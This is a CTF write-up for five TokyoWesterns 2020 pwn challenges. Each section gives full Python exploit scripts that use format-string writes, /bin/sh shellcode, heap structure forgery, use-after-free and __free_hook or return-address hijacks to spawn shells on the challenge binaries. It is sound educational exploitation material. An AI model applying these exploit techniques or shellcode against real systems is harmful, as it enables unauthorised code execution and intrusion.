I played TokyoWesterns CTF 2020 in team D0G$
(Defenit x zer0pts x GoN x $wag) and we reached 1st place 🎉
It was an amazing dream collabolation 🤗
I mainly worked on the pwn tasks and I'm going to write about some of them. The tasks and solvers are available here:
Other members' writeups:
- [pwn 111pts] nothing more to say 2020 (134 solves)
- [pwn 252pts] Online Nonogram (33 solves)
- [pwn 388pts] smash (9 solves)
- [pwn 478pts] Vi deteriorated (2 solves)
- [pwn 398pts] Blind Shot (8 solves)
x86-64 ELF without protection.
$ checksec -f nothing RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 70 Symbols No 0 4 nothing
There's an obvious FSB on a stack buffer. I injected my shellcode into stack and executed it by overwriting the return address with the address of the shellcode.
from ptrlib import * sock = Socket("nc pwn02.chal.ctf.westerns.tokyo 18247") sock.sendlineafter("> ", "%{}$p".format(6 + (0x118 // 8))) addr_stack = int(sock.recvline(), 16) logger.info("stack = " + hex(addr_stack)) shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" writes = {} pos = addr_stack for block in chunks(shellcode, 8, b'\x90'): writes = {pos: u64(block)} payload = fsb( pos=6, writes=writes, size=8, bits=64 ) sock.sendlineafter("> ", payload) pos += 8 writes = {addr_stack - 0xe0: addr_stack} payload = fsb( pos=6, writes=writes, size=8, bits=64 ) sock.sendlineafter("> ", payload) sock.sendlineafter("> ", "q") sock.interactive()
I was few seconds slower to write the exploit and JSec got first blood 🎉
$ checksec -f nono RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 237 Symbols Yes 0 8 nono
The vulnerability is buffer over-write/over-read on creating a new puzzle. The program doesn't check upper boundary of the puzzle size, although the buffer size on bss section is 0x400.
There is a variable after the buffer, which is named vec_puzzle
and is of std::vector
.
We can leak the address of this vector by solving the puzzle.
The instance of the puzzle class looks like this:
+0x00: puzzle size (int) +0x08: puzzle (char*) +0x10: title (std::string) +0x20: is_solved (bool)
So, we can just prepare some fake puzzle structures on the heap.
The puzzle solver is written by Reinose.
from ptrlib import * import solver def add(title, size, puzzle): sock.sendlineafter(": ", "2") sock.sendlineafter(": ", title) sock.sendlineafter(": ", str(size)) sock.sendafter(": ", puzzle) def delete(index): sock.sendlineafter(": ", "3") sock.sendlineafter("Index:", str(index)) def title_of(index): sock.sendlineafter(": ", "1") r = sock.recvregex(str2bytes("{} : (.+) \(.\)".format(index))) sock.sendlineafter(":", "-1") return r[0] def solve(index): sock.sendlineafter(": ", "1") sock.sendlineafter("Index:", str(index)) sock.recvuntil("Numbers\n") n = 0 row = [] while True: l = sock.recvline() if b'Numbers' in l: break row.append(eval("[" + l.decode() + "]")) n += 1 column = [] while True: l = sock.recvline() if b'Status' in l: break column.append(eval("[" + l.decode() + "]")) answer = solver.solve((n, n, row, column)) bits = '' mem = b'' for i in range(n * n): x, y = i // n, i % n bits += str(answer[y][x]) if len(bits) == 8: mem += bytes([int(bits[::-1], 2)]) bits = "" return mem def size2len(s): import math return math.ceil(math.sqrt((s - 1) * 8)) libc = ELF("./libc.so.6") sock = Socket("nc pwn03.chal.ctf.westerns.tokyo 22915") add("A" * 0x428, 1, "X") add("B", size2len(0x418), "\xff" * 8) mem = solve(3) addr_heap = u64(mem[0x400:0x408]) - 0x11fb0 logger.info("heap = " + hex(addr_heap)) sock.sendlineafter(": ", "x") ofs_puzzle = 0x12bf0 ofs_usbin = 0x13020 payload = p64(addr_heap + ofs_puzzle + 0x100) payload += p64(addr_heap + ofs_puzzle + 0x210) payload += p64(0) * 4 payload += p64(0) + p64(0x51) payload += p64(0) * 4 payload += p64(0) + p64(0x91) payload += b"C" * (0x100 - len(payload)) payload += p64(0x10) payload += p64(addr_heap) payload += p64(addr_heap + ofs_usbin) payload += p64(0x8) payload += p64(0x8) payload += p64(0) payload += p64(1) payload += b"C" * (0x200 - len(payload)) payload += p64(0) + p64(0x61) payload += p64(0x10) payload += p64(addr_heap + ofs_puzzle + 0x40) payload += p64(addr_heap + ofs_puzzle + 0x70) payload += p64(0x8) payload += p64(0x8) payload += p64(0) payload += p64(1) payload += b"C" * (0x400 - len(payload)) payload += p64(addr_heap + ofs_puzzle) payload += p64(addr_heap + ofs_puzzle + 0x10) payload += p64(addr_heap + ofs_puzzle + 0x100) delete(2) add("C", size2len(len(payload)), payload) libc_base = u64(title_of(0)) - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) delete(1) payload = b"/bin/sh\x00" + b'\x00' * 8 payload += p64(libc_base + libc.symbol("system")) payload += b"A" * 0x8 payload += p64(0) + p64(0x91) payload += p64(libc_base + libc.symbol("__free_hook") - 0x10) payload += b"B" * (0x80 - len(payload)) assert not has_space(payload) add(payload, 1, "X") sock.interactive()
I got first blood 🎉
First CET challenge.
$ checksec -f smash RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Yes 1 4 smash
The vulnerability is very smiple: FSB and Stack BOF. The FSB is for leaking some addresses. Because this program works on Intel SDE, we can't simply run ROP chain.
However, we can overwrite arbitrary address with a heap pointer as we can overwrite the saved rbp in readline
.
mov esi, 38h mov edi, 0 call readline mov [rbp-8], rax
The following two knowledge are required to solve this challenge:
dprintf
uses a temporaryFILE
structure in it- Intel PIN ignores NX
Now, it's easy.
We can overwrite _IO_file_jumps
and prepare a shellcode on the heap.
Be noticed we have to start the shellcode with endbr64
.
from ptrlib import * libc = ELF("./libc-2.31.so") delta = 0xf3 sock = Socket("nc pwn01.chal.ctf.westerns.tokyo 29246") payload = "%p." * 9 sock.sendafter("> ", payload) r = sock.recvline().split(b".") libc_base = int(r[8], 16) - libc.symbol("__libc_start_main") - delta heap_base = int(r[0], 16) - 0x670 proc_base = int(r[6], 16) - 0x1216 addr_stack = int(r[5], 16) logger.info("proc = " + hex(proc_base)) logger.info("heap = " + hex(heap_base)) logger.info("libc = " + hex(libc_base)) logger.info("stack = " + hex(addr_stack)) IO_file_jumps = libc_base + 0x1ed4a0 rop_pop_rdi = proc_base + 0x000013d3 payload = b"\xf3\x0f\x1e\xfa" payload += b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" payload += b"\x90" * (0x30 - len(payload)) payload += p64(IO_file_jumps + 0x10 + 8)[:6] sock.sendafter("] ", payload) sock.interactive()
I got first blood 🎉
Vi written in C++ and the source code is not provided :(
$ checksec -f vid RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 2740 Symbols Yes 0 2 vid
Xion did the hard reversing part and found the vulnerability.
The program manages the buffer line by line with using std::vector<std::string>
.
We can use the replace command in vi.
The first vulnerability is pretty obvious.
It doesn't update the cursor even after the buffer size shrinks after a replacement.
As this program uses at
method when we try to insert a character, it causes an exception if the cursor is located out of bounds.
The program shows backtrace when an exception occurs and also automatically recovers itself.
This backtrace leaks the address of the process and libc.
The second vulnerability lies in the replacement with multi-line.
Pseudo code of the vulnerability: (I don't know C++ syntax)
for(auto iter = lines.begin(); iter != lines.end(); iter = iter.next()) { ... for(<each newline>) { lines->insert(newline); } ... }
Since lines
is of std::vector
, the insert
method may cause a reallocation if the lines are full, while iter
refers to the old vector.
This may cause Use-after-Free.
Xion quickly wrote an exploit to abuse the tcache and got first blood 🎉 I'm going to write my approach, which is a bit different.
Instead of abusing the tcache, I used =
operator of std::string
.
The insert method calls opertor=
on std::string
to update the old lines.
We can forge the old string pointers by UAF.
You can see the new string goes to the address of the fake std::string
in the example below.
pwndbg> x/32xg 0x5555555de400 # lines (after UAF) 0x5555555de400: 0x00007fffffffd900 0x0000000000000211 0x5555555de410: 0x00007ffff7d69b28 0x0000000000000010 0x5555555de420: 0x00007ffff7d69b28 0x0000000000000001 0x5555555de430: 0x00007ffff7d69b29 0x0000000000000011 0x5555555de440: 0x00007ffff7d69b29 0x0000000000000001 0x5555555de450: 0x00007ffff7d69b2a 0x0000000000000012 0x5555555de460: 0x00007ffff7d69b2a 0x0000000000000001 0x5555555de470: 0x00007ffff7d69b2b 0x0000000000000013 0x5555555de480: 0x00007ffff7d69b2b 0x0000000000000001 0x5555555de490: 0x00007ffff7d69b2c 0x0000000000000014 0x5555555de4a0: 0x00007ffff7d69b2c 0x0000000000000001 0x5555555de4b0: 0x00007ffff7d69b2d 0x0000000000000015 0x5555555de4c0: 0x00007ffff7d69b2d 0x0000000000000001 0x5555555de4d0: 0x0a410a410a410a41 0x0a410a410a410a41 0x5555555de4e0: 0x0a410a410a410a41 0x0a410a410a410a41 0x5555555de4f0: 0x0a410a410a410a41 0x0a410a410a410a41 pwndbg> x/4xg &__free_hook 0x7ffff7d69b28 <__free_hook>: 0x0000414141414141 0x0000000000000000 0x7ffff7d69b38 <next_to_use.12460>: 0x0000000000000000 0x0000000000000000
This is a quite strong AAW primitive.
I overwrote __free_hook
with system
.
Be careful that we can't put /bin/sh
because the slash character is recognized as part of the replacement command.
from ptrlib import * import time def esc(): sock.send("\x1b") def insert(): sock.send("i") libc = ELF("./libc.so.6") sock = Socket("localhost", 9999) """ (1) leak proc & libc """ insert() sock.send("A") esc() sock.sendline(":%s/A//g") insert() sock.send("X") r = sock.recvregex("vid\(\+0x75b3\) \[0x([0-9a-f]+)\]") proc_base = int(r[0], 16) - 0x75b3 logger.info("proc = " + hex(proc_base)) r = sock.recvregex("\(__libc_start_main\+0xf3\) \[0x([0-9a-f]+)\]") libc_base = int(r[0], 16) - libc.symbol("__libc_start_main") - 0xf3 logger.info("libc = " + hex(libc_base)) time.sleep(1) """ (2) put 0x210 chunk into tcache """ sock.sendline(":%s/" + "A" * 0x200 + "//g") insert() sock.send("A") esc() sock.sendline(":%s/A//g") insert() sock.send("X") time.sleep(1) """ (3) UAF to win """ insert() sock.send("A\nB") esc() payload = b'' target = libc_base + libc.symbol("__free_hook") for i in range(6): payload += b'sh;\0\0\0\0\0' + p64(0x10 + i) payload += p64(target + i) + p64(0x0) payload += p64(libc_base + libc.symbol("__free_hook") + 0x10) payload += b'A\\n' * 6 payload += b'B\\n' * 6 payload += b'C\\n' * 4 payload += p64(libc_base + libc.symbol("system")) + b'\\n' sock.sendline(b":%s/B/" + payload + b"/") sock.interactive()
However, I couldn't finish the exploit during the CTF because I didn't notice a freed chunk of size 0x210 was required. Thank you @Xion for analysing the binary and finishing the exploit during the CTF!
Another FSB challenge.
$ checksec -f blindshot RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 75 Symbols Yes 0 2 blindshot
The buffer for FSB is allocated on the heap.
The output goes to /dev/null
because it uses dprintf
over /dev/null
.
My exploit is simple (probability is 1/4096 though)
- Stage 1
- Modify 1 byte of the return address to
main
function - At the same time, modify
fd
oftmpfile
used indprintf
to 1 - Also leak some addresses and it'll come to stdout since we overwrote
fd
- Modify 1 byte of the return address to
- Stage 2
- Call
_start
to make the return address become__libc_start_main+α
- Call
- Stage 3
- Modify 3 bytes of the return address to the one gadget.
As Xion finished this challenge faster than I, I didn't write the exploit for the remote server. So, I put my exploit which works locally without ASLR. (It should work with ASLR by changing some offset values.)
from ptrlib import * libc = ELF("./libc-2.31.so") rsp = 0x7fffffffe520 pos_argv = 5 + (0x7fffffffe588 - rsp) // 8 pos_argv0 = 5 + (0x7fffffffe668 - rsp) // 8 pos_envp0 = 5 + (0x7fffffffe668 - rsp) // 8 + 2 pos_retaddr = 5 + (0x7fffffffe578 - rsp) // 8 pos_stackaddr = 5 pos_main = 5 + (0x7fffffffe598 - rsp) // 8 sock = Socket("localhost", 9999) payload = "" cur = 0 x = 0 payload += "%c" * 3 payload += "%{}c%hn".format(0xe2b0 - 3) cur += 5 x += 0xe2b0 payload += "%c" * (pos_argv - cur - 2) payload += "%{}c%hn".format(0xe558 - x - (pos_argv - cur - 2)) payload += "%{}c%{}$hhn".format(0x61 - 0x58, pos_argv0) payload += "%{}c%{}$hhn".format(0x101 - 0x61, pos_envp0) payload += ".%{}$p".format(pos_main) payload += ".%{}$p".format(pos_stackaddr) payload += ".%{}$p.".format(pos_retaddr) sock.sendlineafter("> ", payload) r = sock.recv(114514) if r == b'': logger.warn("Bad luck!") exit(1) elif r == b'done.\n': logger.warn("Bad luck!") exit(1) r = r.split(b".") proc_base = int(r[-5], 16) - 0x125c addr_stack = int(r[-4], 16) libc_base = int(r[-3], 16) - libc.symbol("__libc_start_main") - 0xf3 logger.info("stack = " + hex(addr_stack)) logger.info("libc = " + hex(libc_base)) logger.info("proc = " + hex(proc_base)) sock.unget(b"done.\n> ") def pon(x, size): return ((x - 1) % (1<<(8*size))) + 1 addr_start = proc_base + 0x114c payload = "" payload += "%c" * 5 payload += "%{}c%hn".format(0xe548 - 5) x = 0xe548 payload += "%{}c%{}$hn".format(pon((addr_start & 0xffff) - x - 12, 2), 5+0x168//8) sock.sendlineafter("> ", payload) one_gadget = libc_base + 0x54f89 payload = "" payload += "%c" * 3 payload += "%{}c%hn".format(0xe468 - 3) x = 0xe468 payload += "%c" * (0x2f - 2) payload += "%{}c%hn".format(pon(0xe46a - x - 0x2d, 2)) x = 0xe46a payload += "%{}c%{}$hn".format(pon((one_gadget & 0xffff) - x, 2), 0x4d+5) x = one_gadget & 0xffff payload += "%{}c%{}$hhn".format(pon(((one_gadget >> 16) - x) & 0xff, 1), 0x4b+5) sock.sendlineafter("> ", payload) sock.interactive()
Xion got first blood 🎉